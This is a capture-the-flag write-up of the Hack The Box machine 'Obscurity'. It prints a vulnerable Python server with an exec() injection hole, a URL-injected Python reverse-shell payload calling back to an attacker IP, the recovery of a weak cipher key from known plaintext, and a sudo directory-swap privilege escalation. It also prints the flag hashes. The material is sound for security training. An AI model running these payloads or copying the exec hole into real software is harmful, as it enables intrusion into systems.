Posts HTB Obscurity Writeup
Post
Cancel

HTB Obscurity Writeup

Obscurity

OS: Linux
Difficulty: Medium
Points:30
Release:30 Nov 2019
IP:10.10.10.168

Information Gathering

Nmap

Begin my recon with Nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# Nmap 7.80SVN scan initiated Tue Dec  3 21:18:31 2019 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /home/z3r0/CTF/HTB/Machine/Obscurity/scans/_quick_tcp_nmap.txt -oX /home/z3r0/CTF/HTB/Machine/Obscurity/scans/xml/_quick_tcp_nmap.xml 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up, received user-set (0.75s latency).
Scanned at 2019-12-03 21:18:44 +08 for 313s
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT     STATE  SERVICE    REASON       VERSION
22/tcp   open   ssh        syn-ack      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMGbaGqnhJ5GoiEH4opql41JoOBmB089aA2wQZgp5GCxf3scJti3BWS30ugrj2PBMydulKmeiAbHWA37ojLyAJxSdvyWrPqneEZfdaMCm/9NPnPSouZgQKLoOg/w8DEPeXfon8bxGYOt3HMXtVMk04/kt09ad7E2Eej8WzAp2k3JJX17ndZL0S5UNDJFyh6pHhGqCtjOapLGb1QwS7BDw+kHiZrkZbDRa1rMv5a/QoljgOIq0byvm5jEVe4NhKKfgwH7kXEU1DAlXmWYzsq/ZdhhwutrjbDam5alw4UAE/35DcPlnVl/7eRK6RIARJPZEQ0O64ixlzbAfIcDGi8GOr
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAygZOWHjNzQWySvfTX7s9Cnz0eSrc9IS/8wk126Wby5EAUmSalXlAL5WETz8nu/JN8nVpgHYEW6/mZm071xMd0=
|   256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ6lPjlgfOScC0NXPX926fST+MXZViZJzBQPXDWsdHuw
80/tcp   closed http       conn-refused
8080/tcp open   http-proxy syn-ack      BadHTTPServer
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Tue, 03 Dec 2019 13:23:46
|     Server: BadHTTPServer
|     Last-Modified: Tue, 03 Dec 2019 13:23:46
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!-- 
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|     <div class="sk-spinner sk-spinner-wordpress">
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Tue, 03 Dec 2019 13:23:48
|     Server: BadHTTPServer
|     Last-Modified: Tue, 03 Dec 2019 13:23:48
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!-- 
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|_    <div class="sk-spinner sk-spinner-wordpress">
| http-methods: 
|_  Supported Methods: POST OPTIONS
|_http-server-header: BadHTTPServer
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80SVN%I=9%D=12/3%Time=5DE661A6%P=x86_64-unknown-linux-
SF:gnu%r(GetRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Tue,\x2003\x20D
SF:ec\x202019\x2013:23:46\nServer:\x20BadHTTPServer\nLast-Modified:\x20Tue
SF:,\x2003\x20Dec\x202019\x2013:23:46\nContent-Length:\x204171\nContent-Ty
SF:pe:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x2
SF:0lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura<
SF:/title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge
SF:\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20i
SF:nitial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<me
SF:ta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\
SF:x20Template\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!
SF:--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\
SF:"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"cs
SF:s/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"cs
SF:s/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20dat
SF:a-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\
SF:n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk
SF:-spinner-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nD
SF:ate:\x20Tue,\x2003\x20Dec\x202019\x2013:23:48\nServer:\x20BadHTTPServer
SF:\nLast-Modified:\x20Tue,\x2003\x20Dec\x202019\x2013:23:48\nContent-Leng
SF:th:\x204171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOC
SF:TYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-
SF:8\">\n\t<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible
SF:\"\x20content=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"w
SF:idth=device-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\
SF:x20content=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!-
SF:-\x20\nEasy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-
SF:easy-profile\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\
SF:"stylesheet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"st
SF:ylesheet\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"st
SF:ylesheet\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20dat
SF:a-spy=\"scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20prelo
SF:ader\x20section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20c
SF:lass=\"sk-spinner\x20sk-spinner-wordpress\">\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec  3 21:23:57 2019 -- 1 IP address (1 host up) scanned in 326.24 seconds

Open Port:22, 80, 8080

But port 80 refused the connection. Just check web with port 8080 then.

Web

The landing page not giving much info

scroll to the end of page, caught file name in python, SuperSecureServer

Burp

Due to my gobuster scan didn’t pick up anything even after I put the file name, I load my burp, just for a routine check. After some time, hit the correct page.

SuperSecureServer.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            print(exec(info.format(path))) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}
req = Request()
print(req)

Exploitation

Reverse Shell

Looking through the script, stopped at line exec function. This wasn’t good practice as the script was a server. This will led to RCE.

using python reverse shell line and urlencode it, run it in repeater ;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.227",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Got connection back. Yeah!!

Enum

home

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
www-data@obscure:/home/robert$ ls -la
ls -la
total 66
drwxr-xr-x 7 robert robert 4096 May  9 08:07 .
drwxr-xr-x 3 root   root   4096 Sep 24  2019 ..
lrwxrwxrwx 1 robert robert    9 Sep 28  2019 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr  4  2018 .bashrc
drwxr-xr-x 2 root   root   4096 Dec  2 09:47 BetterSSH
drwx------ 2 robert robert 4096 Oct  3  2019 .cache
-rw-rw-r-- 1 robert robert   94 Sep 26  2019 check.txt
drwxr-x--- 3 robert robert 4096 Dec  2 09:53 .config
drwx------ 3 robert robert 4096 Oct  3  2019 .gnupg
drwxrwxr-x 3 robert robert 4096 Oct  3  2019 .local
-rw-rw-r-- 1 robert robert  185 Oct  4  2019 out.txt
-rw-rw-r-- 1 robert robert   27 Oct  4  2019 passwordreminder.txt
-rw-r--r-- 1 robert robert  807 Apr  4  2018 .profile
-rwxrwxr-x 1 robert robert 2514 Oct  4  2019 SuperSecureCrypt.py
-rwx------ 1 robert robert   33 Sep 25  2019 user.txt

check.txt

1
2
3
www-data@obscure:/home/robert$ cat check.txt
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!

Opening passwordreminder.txt and out.txt => have to kill my shell. The files doesn’t have a line terminator inside it, I assume it was generated by some script.

SuperSecureCrypt.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

Looking at the script, it reminds me to xor encryption. Basically means u know the clear text, u will get the secret key.

Crack the key

let’s try out.txt as input, and the plain text, which is original file as key, then supply with decrypt flag.

Opening the result file, saw a repeated string. The alexandrovich should be the key. Knowing this, now just decrypt the passwordreminder.txt with the correct key.

The decrypted key was SecThruObsFTW

SSH as robert

With the cracked key, login as Robert with SSH.

User flag

1
2
3
robert@obscure:~$ cat user.txt
e4493782066b55fe2755708736ada2d7
robert@obscure:~$

Privesc

Run sudo -l to look what can I do with sudo right

Renaming dir

Look at the BetterSSH dir permission, I can rename it. So rename it to something else, and create new BetterSSH with BetterSSH.py in it. My python reverse shell payload was in that python file.

BetterSSH.py content

Run sudo command for this file, gave me root shell. Nice!!

Victory

Root flag

As root, just grab the root flag.

1
2
3
# cat /root/root.txt
512fd4429f33a113a44d5acde23609e3
# 
This post is licensed under CC BY 4.0 by the author.

Trending Tags

Contents

Trending Tags